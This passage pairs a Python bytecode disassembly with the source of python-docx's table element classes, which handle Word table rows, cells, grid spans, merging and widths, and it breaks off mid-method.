CALL_FUNCTION LOAD_CONST 0 COMPARE_OP > POP_JUMP_IF_FALSE LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_METHOD remove LOAD_FAST p CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST <code object raise_on_inverted_L at 0x7fab802c94b0, file "f.py", line 589> LOAD_CONST 'CT_Tc._span_dimensions.<locals>.raise_on_inverted_L' MAKE_FUNCTION STORE_FAST raise_on_inverted_L LOAD_CONST <code object raise_on_tee_shaped at 0x7fab802c9540, file "f.py", line 595> LOAD_CONST 'CT_Tc._span_dimensions.<locals>.raise_on_tee_shaped' MAKE_FUNCTION STORE_FAST raise_on_tee_shaped LOAD_FAST raise_on_inverted_L LOAD_FAST self LOAD_FAST other_tc CALL_FUNCTION POP_TOP LOAD_FAST raise_on_tee_shaped LOAD_FAST self LOAD_FAST other_tc CALL_FUNCTION POP_TOP LOAD_GLOBAL min LOAD_FAST self LOAD_ATTR top LOAD_FAST other_tc LOAD_ATTR top CALL_FUNCTION STORE_FAST top LOAD_GLOBAL min LOAD_FAST self LOAD_ATTR left LOAD_FAST other_tc LOAD_ATTR left CALL_FUNCTION STORE_FAST left LOAD_GLOBAL max LOAD_FAST self LOAD_ATTR bottom LOAD_FAST other_tc LOAD_ATTR bottom CALL_FUNCTION STORE_FAST bottom LOAD_GLOBAL max LOAD_FAST self LOAD_ATTR right LOAD_FAST other_tc LOAD_ATTR right CALL_FUNCTION STORE_FAST right LOAD_FAST top LOAD_FAST left LOAD_FAST bottom LOAD_FAST top BINARY_SUBTRACT LOAD_FAST right LOAD_FAST left BINARY_SUBTRACT BUILD_TUPLE RETURN_VALUE LOAD_FAST a LOAD_ATTR top LOAD_FAST b LOAD_ATTR top COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST a LOAD_ATTR bottom LOAD_FAST b LOAD_ATTR bottom COMPARE_OP != POP_JUMP_IF_FALSE LOAD_GLOBAL InvalidSpanError LOAD_CONST 'requested span not rectangular' CALL_FUNCTION RAISE_VARARGS LOAD_FAST a LOAD_ATTR left LOAD_FAST b LOAD_ATTR left COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST a LOAD_ATTR right LOAD_FAST b LOAD_ATTR right COMPARE_OP != POP_JUMP_IF_FALSE LOAD_GLOBAL InvalidSpanError LOAD_CONST 'requested span not rectangular' CALL_FUNCTION RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST a LOAD_ATTR top LOAD_FAST b LOAD_ATTR top COMPARE_OP < POP_JUMP_IF_FALSE LOAD_FAST a LOAD_FAST b BUILD_TUPLE JUMP_FORWARD to 26 LOAD_FAST b LOAD_FAST a BUILD_TUPLE UNPACK_SEQUENCE STORE_FAST top_most STORE_FAST other LOAD_FAST top_most LOAD_ATTR top LOAD_FAST other LOAD_ATTR top COMPARE_OP < POP_JUMP_IF_FALSE LOAD_FAST top_most LOAD_ATTR bottom LOAD_FAST other LOAD_ATTR bottom COMPARE_OP > POP_JUMP_IF_FALSE LOAD_GLOBAL InvalidSpanError LOAD_CONST 'requested span not rectangular' CALL_FUNCTION RAISE_VARARGS LOAD_FAST a LOAD_ATTR left LOAD_FAST b LOAD_ATTR left COMPARE_OP < POP_JUMP_IF_FALSE LOAD_FAST a LOAD_FAST b BUILD_TUPLE JUMP_FORWARD to 90 LOAD_FAST b LOAD_FAST a BUILD_TUPLE UNPACK_SEQUENCE STORE_FAST left_most STORE_FAST other LOAD_FAST left_most LOAD_ATTR left LOAD_FAST other LOAD_ATTR left COMPARE_OP < POP_JUMP_IF_FALSE LOAD_FAST left_most LOAD_ATTR right LOAD_FAST other LOAD_ATTR right COMPARE_OP > POP_JUMP_IF_FALSE LOAD_GLOBAL InvalidSpanError LOAD_CONST 'requested span not rectangular' CALL_FUNCTION RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_METHOD _move_content_to LOAD_FAST top_tc CALL_METHOD POP_TOP SETUP_LOOP to 38 LOAD_FAST self LOAD_ATTR grid_span LOAD_FAST grid_width COMPARE_OP < POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD _swallow_next_tc LOAD_FAST grid_width LOAD_FAST top_tc CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_FAST vMerge LOAD_FAST self STORE_ATTR vMerge LOAD_CONST None RETURN_VALUE LOAD_CLOSURE grid_width LOAD_CLOSURE self BUILD_TUPLE LOAD_CONST <code object raise_on_invalid_swallow at 0x7fab802c96f0, file "f.py", line 641> LOAD_CONST 'CT_Tc._swallow_next_tc.<locals>.raise_on_invalid_swallow' MAKE_FUNCTION STORE_FAST raise_on_invalid_swallow LOAD_DEREF self LOAD_ATTR _next_tc STORE_FAST next_tc LOAD_FAST raise_on_invalid_swallow LOAD_FAST next_tc CALL_FUNCTION POP_TOP LOAD_FAST next_tc LOAD_METHOD _move_content_to LOAD_FAST top_tc CALL_METHOD POP_TOP LOAD_DEREF self LOAD_METHOD _add_width_of LOAD_FAST next_tc CALL_METHOD POP_TOP LOAD_DEREF self DUP_TOP LOAD_ATTR grid_span LOAD_FAST next_tc LOAD_ATTR grid_span INPLACE_ADD ROT_TWO STORE_ATTR grid_span LOAD_FAST next_tc LOAD_METHOD _remove CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST next_tc LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_GLOBAL InvalidSpanError LOAD_CONST 'not enough grid columns' CALL_FUNCTION RAISE_VARARGS LOAD_DEREF self LOAD_ATTR grid_span LOAD_FAST next_tc LOAD_ATTR grid_span BINARY_ADD LOAD_DEREF grid_width COMPARE_OP > POP_JUMP_IF_FALSE LOAD_GLOBAL InvalidSpanError LOAD_CONST 'span is not rectangular' CALL_FUNCTION RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_METHOD xpath LOAD_CONST './ancestor::w:tbl[position()=1]' CALL_METHOD LOAD_CONST 0 BINARY_SUBSCR RETURN_VALUE LOAD_FAST self LOAD_ATTR _tr_above LOAD_METHOD tc_at_grid_col LOAD_FAST self LOAD_ATTR _grid_col CALL_METHOD RETURN_VALUE LOAD_FAST self LOAD_ATTR _tr_below STORE_FAST tr_below LOAD_FAST tr_below LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST None RETURN_VALUE LOAD_FAST tr_below LOAD_METHOD tc_at_grid_col LOAD_FAST self LOAD_ATTR _grid_col CALL_METHOD RETURN_VALUE LOAD_FAST self LOAD_METHOD xpath LOAD_CONST './ancestor::w:tr[position()=1]' CALL_METHOD LOAD_CONST 0 BINARY_SUBSCR RETURN_VALUE LOAD_FAST self LOAD_ATTR _tbl LOAD_ATTR tr_lst STORE_FAST tr_lst LOAD_FAST tr_lst LOAD_METHOD index LOAD_FAST self LOAD_ATTR _tr CALL_METHOD STORE_FAST tr_idx LOAD_FAST tr_idx LOAD_CONST 0 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL ValueError LOAD_CONST 'no tr above topmost tr' CALL_FUNCTION RAISE_VARARGS LOAD_FAST tr_lst LOAD_FAST tr_idx LOAD_CONST 1 BINARY_SUBTRACT BINARY_SUBSCR RETURN_VALUE LOAD_FAST self LOAD_ATTR _tbl LOAD_ATTR tr_lst STORE_FAST tr_lst LOAD_FAST tr_lst LOAD_METHOD index LOAD_FAST self LOAD_ATTR _tr CALL_METHOD STORE_FAST tr_idx SETUP_EXCEPT to 34 LOAD_FAST tr_lst LOAD_FAST tr_idx LOAD_CONST 1 BINARY_ADD BINARY_SUBSCR RETURN_VALUE DUP_TOP LOAD_GLOBAL IndexError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_CONST None RETURN_VALUE END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _tbl LOAD_ATTR tr_lst LOAD_METHOD index LOAD_FAST self LOAD_ATTR _tr CALL_METHOD RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'CT_TcPr' STORE_NAME __qualname__ LOAD_CONST '``<w:tcPr>`` element, defining table cell properties.' STORE_NAME __doc__ LOAD_CONST ('w:cnfStyle', 'w:tcW', 'w:gridSpan', 'w:hMerge', 'w:vMerge', 'w:tcBorders', 'w:shd', 'w:noWrap', 'w:tcMar', 'w:textDirection', 'w:tcFitText', 'w:vAlign', 'w:hideMark', 'w:headers', 'w:cellIns', 'w:cellDel', 'w:cellMerge', 'w:tcPrChange') STORE_NAME _tag_seq LOAD_NAME ZeroOrOne LOAD_CONST 'w:tcW' LOAD_NAME _tag_seq LOAD_CONST 2 LOAD_CONST None BUILD_SLICE BINARY_SUBSCR LOAD_CONST ('successors',) CALL_FUNCTION STORE_NAME tcW LOAD_NAME ZeroOrOne LOAD_CONST 'w:gridSpan' LOAD_NAME _tag_seq LOAD_CONST 3 LOAD_CONST None BUILD_SLICE BINARY_SUBSCR LOAD_CONST ('successors',) CALL_FUNCTION STORE_NAME gridSpan LOAD_NAME ZeroOrOne LOAD_CONST 'w:vMerge' LOAD_NAME _tag_seq LOAD_CONST 5 LOAD_CONST None BUILD_SLICE BINARY_SUBSCR LOAD_CONST ('successors',) CALL_FUNCTION STORE_NAME vMerge LOAD_NAME ZeroOrOne LOAD_CONST 'w:vAlign' LOAD_NAME _tag_seq LOAD_CONST 12 LOAD_CONST None BUILD_SLICE BINARY_SUBSCR LOAD_CONST ('successors',) CALL_FUNCTION STORE_NAME vAlign DELETE_NAME _tag_seq LOAD_NAME property LOAD_CONST <code object grid_span at 0x7fab802c9c90, file "f.py", line 735> LOAD_CONST 'CT_TcPr.grid_span' MAKE_FUNCTION CALL_FUNCTION STORE_NAME grid_span LOAD_NAME grid_span LOAD_ATTR setter LOAD_CONST <code object grid_span at 0x7fab802c9d20, file "f.py", line 746> LOAD_CONST 'CT_TcPr.grid_span' MAKE_FUNCTION CALL_FUNCTION STORE_NAME grid_span LOAD_NAME property LOAD_CONST <code object vAlign_val at 0x7fab802c9db0, file "f.py", line 752> LOAD_CONST 'CT_TcPr.vAlign_val' MAKE_FUNCTION CALL_FUNCTION STORE_NAME vAlign_val LOAD_NAME vAlign_val LOAD_ATTR setter LOAD_CONST <code object vAlign_val at 0x7fab802c9e40, file "f.py", line 764> LOAD_CONST 'CT_TcPr.vAlign_val' MAKE_FUNCTION CALL_FUNCTION STORE_NAME vAlign_val LOAD_NAME property LOAD_CONST <code object vMerge_val at 0x7fab802c9ed0, file "f.py", line 771> LOAD_CONST 'CT_TcPr.vMerge_val' MAKE_FUNCTION CALL_FUNCTION STORE_NAME vMerge_val LOAD_NAME vMerge_val LOAD_ATTR setter LOAD_CONST <code object vMerge_val at 0x7fab802c9f60, file "f.py", line 780> LOAD_CONST 'CT_TcPr.vMerge_val' MAKE_FUNCTION CALL_FUNCTION STORE_NAME vMerge_val LOAD_NAME property LOAD_CONST <code object width at 0x7fab8027c030, file "f.py", line 786> LOAD_CONST 'CT_TcPr.width' MAKE_FUNCTION CALL_FUNCTION STORE_NAME width LOAD_NAME width LOAD_ATTR setter LOAD_CONST <code object width at 0x7fab8027c0c0, file "f.py", line 795> LOAD_CONST 'CT_TcPr.width' MAKE_FUNCTION CALL_FUNCTION STORE_NAME width LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR gridSpan STORE_FAST gridSpan LOAD_FAST gridSpan LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST 1 RETURN_VALUE LOAD_FAST gridSpan LOAD_ATTR val RETURN_VALUE LOAD_FAST self LOAD_METHOD _remove_gridSpan CALL_METHOD POP_TOP LOAD_FAST value LOAD_CONST 1 COMPARE_OP > POP_JUMP_IF_FALSE LOAD_FAST value LOAD_FAST self LOAD_METHOD get_or_add_gridSpan CALL_METHOD STORE_ATTR val LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR vAlign STORE_FAST vAlign LOAD_FAST vAlign LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST None RETURN_VALUE LOAD_FAST vAlign LOAD_ATTR val RETURN_VALUE LOAD_FAST value LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD _remove_vAlign CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST value LOAD_FAST self LOAD_METHOD get_or_add_vAlign CALL_METHOD STORE_ATTR val LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR vMerge STORE_FAST vMerge LOAD_FAST vMerge LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST None RETURN_VALUE LOAD_FAST vMerge LOAD_ATTR val RETURN_VALUE LOAD_FAST self LOAD_METHOD _remove_vMerge CALL_METHOD POP_TOP LOAD_FAST value LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST value LOAD_FAST self LOAD_METHOD _add_vMerge CALL_METHOD STORE_ATTR val LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR tcW STORE_FAST tcW LOAD_FAST tcW LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST None RETURN_VALUE LOAD_FAST tcW LOAD_ATTR width RETURN_VALUE LOAD_FAST self LOAD_METHOD get_or_add_tcW CALL_METHOD STORE_FAST tcW LOAD_FAST value LOAD_FAST tcW STORE_ATTR width LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'CT_TrPr' STORE_NAME __qualname__ LOAD_CONST '``<w:trPr>`` element, defining table row properties.' STORE_NAME __doc__ LOAD_CONST ('w:cnfStyle', 'w:divId', 'w:gridBefore', 'w:gridAfter', 'w:wBefore', 'w:wAfter', 'w:cantSplit', 'w:trHeight', 'w:tblHeader', 'w:tblCellSpacing', 'w:jc', 'w:hidden', 'w:ins', 'w:del', 'w:trPrChange') STORE_NAME _tag_seq LOAD_NAME ZeroOrOne LOAD_CONST 'w:trHeight' LOAD_NAME _tag_seq LOAD_CONST 8 LOAD_CONST None BUILD_SLICE BINARY_SUBSCR LOAD_CONST ('successors',) CALL_FUNCTION STORE_NAME trHeight DELETE_NAME _tag_seq LOAD_NAME property LOAD_CONST <code object trHeight_hRule at 0x7fab8027c1e0, file "f.py", line 824> LOAD_CONST 'CT_TrPr.trHeight_hRule' MAKE_FUNCTION CALL_FUNCTION STORE_NAME trHeight_hRule LOAD_NAME trHeight_hRule LOAD_ATTR setter LOAD_CONST <code object trHeight_hRule at 0x7fab8027c270, file "f.py", line 832> LOAD_CONST 'CT_TrPr.trHeight_hRule' MAKE_FUNCTION CALL_FUNCTION STORE_NAME trHeight_hRule LOAD_NAME property LOAD_CONST <code object trHeight_val at 0x7fab8027c300, file "f.py", line 839> LOAD_CONST 'CT_TrPr.trHeight_val' MAKE_FUNCTION CALL_FUNCTION STORE_NAME trHeight_val LOAD_NAME trHeight_val LOAD_ATTR setter LOAD_CONST <code object trHeight_val at 0x7fab8027c390, file "f.py", line 847> LOAD_CONST 'CT_TrPr.trHeight_val' MAKE_FUNCTION CALL_FUNCTION STORE_NAME trHeight_val LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR trHeight STORE_FAST trHeight LOAD_FAST trHeight LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST None RETURN_VALUE LOAD_FAST trHeight LOAD_ATTR hRule RETURN_VALUE LOAD_FAST value LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR trHeight LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_METHOD get_or_add_trHeight CALL_METHOD STORE_FAST trHeight LOAD_FAST value LOAD_FAST trHeight STORE_ATTR hRule LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR trHeight STORE_FAST trHeight LOAD_FAST trHeight LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST None RETURN_VALUE LOAD_FAST trHeight LOAD_ATTR val RETURN_VALUE LOAD_FAST value LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR trHeight LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_METHOD get_or_add_trHeight CALL_METHOD STORE_FAST trHeight LOAD_FAST value LOAD_FAST trHeight STORE_ATTR val LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'CT_VerticalJc' STORE_NAME __qualname__ LOAD_CONST '`w:vAlign` element, specifying vertical alignment of cell.' STORE_NAME __doc__ LOAD_NAME RequiredAttribute LOAD_CONST 'w:val' LOAD_NAME WD_CELL_VERTICAL_ALIGNMENT CALL_FUNCTION STORE_NAME val LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'CT_VMerge' STORE_NAME __qualname__ LOAD_CONST '``<w:vMerge>`` element, specifying vertical merging behavior of a cell.' STORE_NAME __doc__ LOAD_NAME OptionalAttribute LOAD_CONST 'w:val' LOAD_NAME ST_Merge LOAD_NAME ST_Merge LOAD_ATTR CONTINUE LOAD_CONST ('default',) CALL_FUNCTION STORE_NAME val LOAD_CONST None RETURN_VALUE
"""Custom element classes for tables.""" from __future__ import annotations from typing import TYPE_CHECKING, Callable, List from docx.enum.table import WD_CELL_VERTICAL_ALIGNMENT, WD_ROW_HEIGHT_RULE from docx.exceptions import InvalidSpanError from docx.oxml.ns import nsdecls, qn from docx.oxml.parser import parse_xml from docx.oxml.simpletypes import ( ST_Merge, ST_TblLayoutType, ST_TblWidth, ST_TwipsMeasure, XsdInt, ) from docx.oxml.xmlchemy import ( BaseOxmlElement, OneAndOnlyOne, OneOrMore, OptionalAttribute, RequiredAttribute, ZeroOrMore, ZeroOrOne, ) from docx.shared import Emu, Twips if TYPE_CHECKING: from docx.oxml.text.paragraph import CT_P from docx.shared import Length class CT_Height(BaseOxmlElement): """Used for ``<w:trHeight>`` to specify a row height and row height rule.""" val = OptionalAttribute("w:val", ST_TwipsMeasure) hRule = OptionalAttribute("w:hRule", WD_ROW_HEIGHT_RULE) class CT_Row(BaseOxmlElement): """``<w:tr>`` element.""" tblPrEx = ZeroOrOne("w:tblPrEx") # custom inserter below trPr = ZeroOrOne("w:trPr") # custom inserter below tc = ZeroOrMore("w:tc") def tc_at_grid_col(self, idx): """The ``<w:tc>`` element appearing at grid column `idx`. Raises |ValueError| if no ``w:tc`` element begins at that grid column. """ grid_col = 0 for tc in self.tc_lst: if grid_col == idx: return tc grid_col += tc.grid_span if grid_col > idx: raise ValueError("no cell on grid column %d" % idx) raise ValueError("index out of bounds") @property def tr_idx(self): """The index of this ``<w:tr>`` element within its parent ``<w:tbl>`` element.""" return self.getparent().tr_lst.index(self) @property def trHeight_hRule(self): """Return the value of `w:trPr/w:trHeight@w:hRule`, or |None| if not present.""" trPr = self.trPr if trPr is None: return None return trPr.trHeight_hRule @trHeight_hRule.setter def trHeight_hRule(self, value): trPr = self.get_or_add_trPr() trPr.trHeight_hRule = value @property def trHeight_val(self): """Return the value of `w:trPr/w:trHeight@w:val`, or |None| if not present.""" trPr = self.trPr if trPr is None: return None return trPr.trHeight_val @trHeight_val.setter def trHeight_val(self, value): trPr = self.get_or_add_trPr() trPr.trHeight_val = value def _insert_tblPrEx(self, tblPrEx): self.insert(0, tblPrEx) def _insert_trPr(self, trPr): tblPrEx = self.tblPrEx if tblPrEx is not None: tblPrEx.addnext(trPr) else: self.insert(0, trPr) def _new_tc(self): return CT_Tc.new() class CT_Tbl(BaseOxmlElement): """``<w:tbl>`` element.""" tblPr = OneAndOnlyOne("w:tblPr") tblGrid = OneAndOnlyOne("w:tblGrid") tr = ZeroOrMore("w:tr") @property def bidiVisual_val(self): """Value of `w:tblPr/w:bidiVisual/@w:val` or |None| if not present. Controls whether table cells are displayed right-to-left or left-to-right. """ bidiVisual = self.tblPr.bidiVisual if bidiVisual is None: return None return bidiVisual.val @bidiVisual_val.setter def bidiVisual_val(self, value): tblPr = self.tblPr if value is None: tblPr._remove_bidiVisual() else: tblPr.get_or_add_bidiVisual().val = value @property def col_count(self): """The number of grid columns in this table.""" return len(self.tblGrid.gridCol_lst) def iter_tcs(self): """Generate each of the `w:tc` elements in this table, left to right and top to bottom. Each cell in the first row is generated, followed by each cell in the second row, etc. """ for tr in self.tr_lst: for tc in tr.tc_lst: yield tc @classmethod def new_tbl(cls, rows: int, cols: int, width: Length) -> CT_Tbl: """Return a new `w:tbl` element having `rows` rows and `cols` columns. `width` is distributed evenly between the columns. """ return parse_xml(cls._tbl_xml(rows, cols, width)) @property def tblStyle_val(self): """Value of `w:tblPr/w:tblStyle/@w:val` (a table style id) or |None| if not present.""" tblStyle = self.tblPr.tblStyle if tblStyle is None: return None return tblStyle.val @tblStyle_val.setter def tblStyle_val(self, styleId): """Set the value of `w:tblPr/w:tblStyle/@w:val` (a table style id) to `styleId`. If `styleId` is None, remove the `w:tblStyle` element. """ tblPr = self.tblPr tblPr._remove_tblStyle() if styleId is None: return tblPr._add_tblStyle().val = styleId @classmethod def _tbl_xml(cls, rows: int, cols: int, width: Length) -> str: col_width = Emu(width / cols) if cols > 0 else Emu(0) return ( "<w:tbl %s>\n" " <w:tblPr>\n" ' <w:tblW w:type="auto" w:w="0"/>\n' ' <w:tblLook w:firstColumn="1" w:firstRow="1"\n' ' w:lastColumn="0" w:lastRow="0" w:noHBand="0"\n' ' w:noVBand="1" w:val="04A0"/>\n' " </w:tblPr>\n" "%s" # tblGrid "%s" # trs "</w:tbl>\n" ) % ( nsdecls("w"), cls._tblGrid_xml(cols, col_width), cls._trs_xml(rows, cols, col_width), ) @classmethod def _tblGrid_xml(cls, col_count, col_width): xml = " <w:tblGrid>\n" for i in range(col_count): xml += ' <w:gridCol w:w="%d"/>\n' % col_width.twips xml += " </w:tblGrid>\n" return xml @classmethod def _trs_xml(cls, row_count, col_count, col_width): xml = "" for i in range(row_count): xml += (" <w:tr>\n" "%s" " </w:tr>\n") % cls._tcs_xml( col_count, col_width ) return xml @classmethod def _tcs_xml(cls, col_count, col_width): xml = "" for i in range(col_count): xml += ( " <w:tc>\n" " <w:tcPr>\n" ' <w:tcW w:type="dxa" w:w="%d"/>\n' " </w:tcPr>\n" " <w:p/>\n" " </w:tc>\n" ) % col_width.twips return xml class CT_TblGrid(BaseOxmlElement): """``<w:tblGrid>`` element, child of ``<w:tbl>``, holds ``<w:gridCol>`` elements that define column count, width, etc.""" gridCol = ZeroOrMore("w:gridCol", successors=("w:tblGridChange",)) class CT_TblGridCol(BaseOxmlElement): """``<w:gridCol>`` element, child of ``<w:tblGrid>``, defines a table column.""" w = OptionalAttribute("w:w", ST_TwipsMeasure) @property def gridCol_idx(self): """The index of this ``<w:gridCol>`` element within its parent ``<w:tblGrid>`` element.""" return self.getparent().gridCol_lst.index(self) class CT_TblLayoutType(BaseOxmlElement): """``<w:tblLayout>`` element, specifying whether column widths are fixed or can be automatically adjusted based on content.""" type = OptionalAttribute("w:type", ST_TblLayoutType) class CT_TblPr(BaseOxmlElement): """``<w:tblPr>`` element, child of ``<w:tbl>``, holds child elements that define table properties such as style and borders.""" _tag_seq = ( "w:tblStyle", "w:tblpPr", "w:tblOverlap", "w:bidiVisual", "w:tblStyleRowBandSize", "w:tblStyleColBandSize", "w:tblW", "w:jc", "w:tblCellSpacing", "w:tblInd", "w:tblBorders", "w:shd", "w:tblLayout", "w:tblCellMar", "w:tblLook", "w:tblCaption", "w:tblDescription", "w:tblPrChange", ) tblStyle = ZeroOrOne("w:tblStyle", successors=_tag_seq[1:]) bidiVisual = ZeroOrOne("w:bidiVisual", successors=_tag_seq[4:]) jc = ZeroOrOne("w:jc", successors=_tag_seq[8:]) tblLayout = ZeroOrOne("w:tblLayout", successors=_tag_seq[13:]) del _tag_seq @property def alignment(self): """Member of :ref:`WdRowAlignment` enumeration or |None|, based on the contents of the `w:val` attribute of `./w:jc`. |None| if no `w:jc` element is present. """ jc = self.jc if jc is None: return None return jc.val @alignment.setter def alignment(self, value): self._remove_jc() if value is None: return jc = self.get_or_add_jc() jc.val = value @property def autofit(self) -> bool: """|False| when there is a `w:tblLayout` child with `@w:type="fixed"`. Otherwise |True|. """ tblLayout = self.tblLayout return True if tblLayout is None else tblLayout.type != "fixed" @autofit.setter def autofit(self, value: bool): tblLayout = self.get_or_add_tblLayout() tblLayout.type = "autofit" if value else "fixed" @property def style(self): """Return the value of the ``val`` attribute of the ``<w:tblStyle>`` child or |None| if not present.""" tblStyle = self.tblStyle if tblStyle is None: return None return tblStyle.val @style.setter def style(self, value): self._remove_tblStyle() if value is None: return self._add_tblStyle(val=value) class CT_TblWidth(BaseOxmlElement): """Used for ``<w:tblW>`` and ``<w:tcW>`` elements and many others, to specify a table-related width.""" w = RequiredAttribute("w:w", XsdInt) type = RequiredAttribute("w:type", ST_TblWidth) @property def width(self): """Return the EMU length value represented by the combined ``w:w`` and ``w:type`` attributes.""" if self.type != "dxa": return None return Twips(self.w) @width.setter def width(self, value): self.type = "dxa" self.w = Emu(value).twips class CT_Tc(BaseOxmlElement): """`w:tc` table cell element.""" add_p: Callable[[], CT_P] p_lst: List[CT_P] tbl_lst: List[CT_Tbl] _insert_tbl: Callable[[CT_Tbl], CT_Tbl] tcPr = ZeroOrOne("w:tcPr") # bunches of successors, overriding insert p = OneOrMore("w:p") tbl = OneOrMore("w:tbl") @property def bottom(self): """The row index that marks the bottom extent of the vertical span of this cell. This is one greater than the index of the bottom-most row of the span, similar to how a slice of the cell's rows would be specified. """ if self.vMerge is not None: tc_below = self._tc_below if tc_below is not None and tc_below.vMerge == ST_Merge.CONTINUE: return tc_below.bottom return self._tr_idx + 1 def clear_content(self): """Remove all content child elements, preserving the ``<w:tcPr>`` element if present. Note that this leaves the ``<w:tc>`` element in an invalid state because it doesn't contain at least one block-level element. It's up to the caller to add a ``<w:p>``child element as the last content element. """ new_children = [] tcPr = self.tcPr if tcPr is not None: new_children.append(tcPr) self[:] = new_children @property def grid_span(self): """The integer number of columns this cell spans. Determined by ./w:tcPr/w:gridSpan/@val, it defaults to 1. """ tcPr = self.tcPr if tcPr is None: return 1 return tcPr.grid_span @grid_span.setter def grid_span(self, value): tcPr = self.get_or_add_tcPr() tcPr.grid_span = value @property def inner_content_elements(self) -> List[CT_P | CT_Tbl]: """Generate all `w:p` and `w:tbl` elements in this document-body. Elements appear in document order. Elements shaded by nesting in a `w:ins` or other "wrapper" element will not be included. """ return self.xpath("./w:p | ./w:tbl") def iter_block_items(self): """Generate a reference to each of the block-level content elements in this cell, in the order they appear.""" block_item_tags = (qn("w:p"), qn("w:tbl"), qn("w:sdt")) for child in self: if child.tag in block_item_tags: yield child @property def left(self): """The grid column index at which this ``<w:tc>`` element appears.""" return self._grid_col def merge(self, other_tc): """Return the top-left ``<w:tc>`` element of a new span formed by merging the rectangular region defined by using this tc element and `other_tc` as diagonal corners.""" top, left, height, width = self._span_dimensions(other_tc) top_tc = self._tbl.tr_lst[top].tc_at_grid_col(left) top_tc._grow_to(width, height) return top_tc @classmethod def new(cls): """Return a new ``<w:tc>`` element, containing an empty paragraph as the required EG_BlockLevelElt.""" return parse_xml("<w:tc %s>\n" " <w:p/>\n" "</w:tc>" % nsdecls("w")) @property def right(self): """The grid column index that marks the right-side extent of the horizontal span of this cell. This is one greater than the index of the right-most column of the span, similar to how a slice of the cell's columns would be specified. """ return self._grid_col + self.grid_span @property def top(self): """The top-most row index in the vertical span of this cell.""" if self.vMerge is None or self.vMerge == ST_Merge.RESTART: return self._tr_idx return self._tc_above.top @property def vMerge(self): """The value of the ./w:tcPr/w:vMerge/@val attribute, or |None| if the w:vMerge element is not present.""" tcPr = self.tcPr if tcPr is None: return None return tcPr.vMerge_val @vMerge.setter def vMerge(self, value): tcPr = self.get_or_add_tcPr() tcPr.vMerge_val = value @property def width(self): """Return the EMU length value represented in the ``./w:tcPr/w:tcW`` child element or |None| if not present.""" tcPr = self.tcPr if tcPr is None: return None return tcPr.width @width.setter def width(self, value): tcPr = self.get_or_add_tcPr() tcPr.width = value def _add_width_of(self, other_tc): """Add the width of `other_tc` to this cell. Does nothing if either this tc or `other_tc` does not have a specified width. """ if self.width and other_tc.width: self.width += other_tc.width @property def _grid_col(self): """The grid column at which this cell begins.""" tr = self._tr idx = tr.tc_lst.index(self) preceding_tcs = tr.tc_lst[:idx] return sum(tc.grid_span for tc in preceding_tcs) def _grow_to(self, width, height, top_tc=None): """Grow this cell to `width` grid columns and `height` rows by expanding horizontal spans and creating continuation cells to form vertical spans.""" def vMerge_val(top_tc): if top_tc is not self: return ST_Merge.CONTINUE if height == 1: return None return ST_Merge.RESTART top_tc = self if top_tc is None else top_tc self._span_to_width(width, top_tc, vMerge_val(top_tc)) if height > 1: self._tc_below._grow_to(width, height - 1, top_tc) def _insert_tcPr(self, tcPr): """``tcPr`` has a bunch of successors, but it comes first if it appears, so just overriding and using insert(0, ...) rather than spelling out successors.""" self.insert(0, tcPr) return tcPr @property def _is_empty(self): """True if this cell contains only a single empty ``<w:p>`` element.""" block_items = list(self.iter_block_items()) if len(block_items) > 1: return False p = block_items[0] # cell must include at least one <w:p> element if len(p.r_lst) == 0: return True return False def _move_content_to(self, other_tc): """Append the content of this cell to `other_tc`, leaving this cell with a single empty ``<w:p>`` element.""" if other_tc is self: return if self._is_empty: return other_tc._remove_trailing_empty_p() for block_element in self.iter_block_items(): other_tc.append(block_element) self.append(self._new_p()) def _new_tbl(self): return 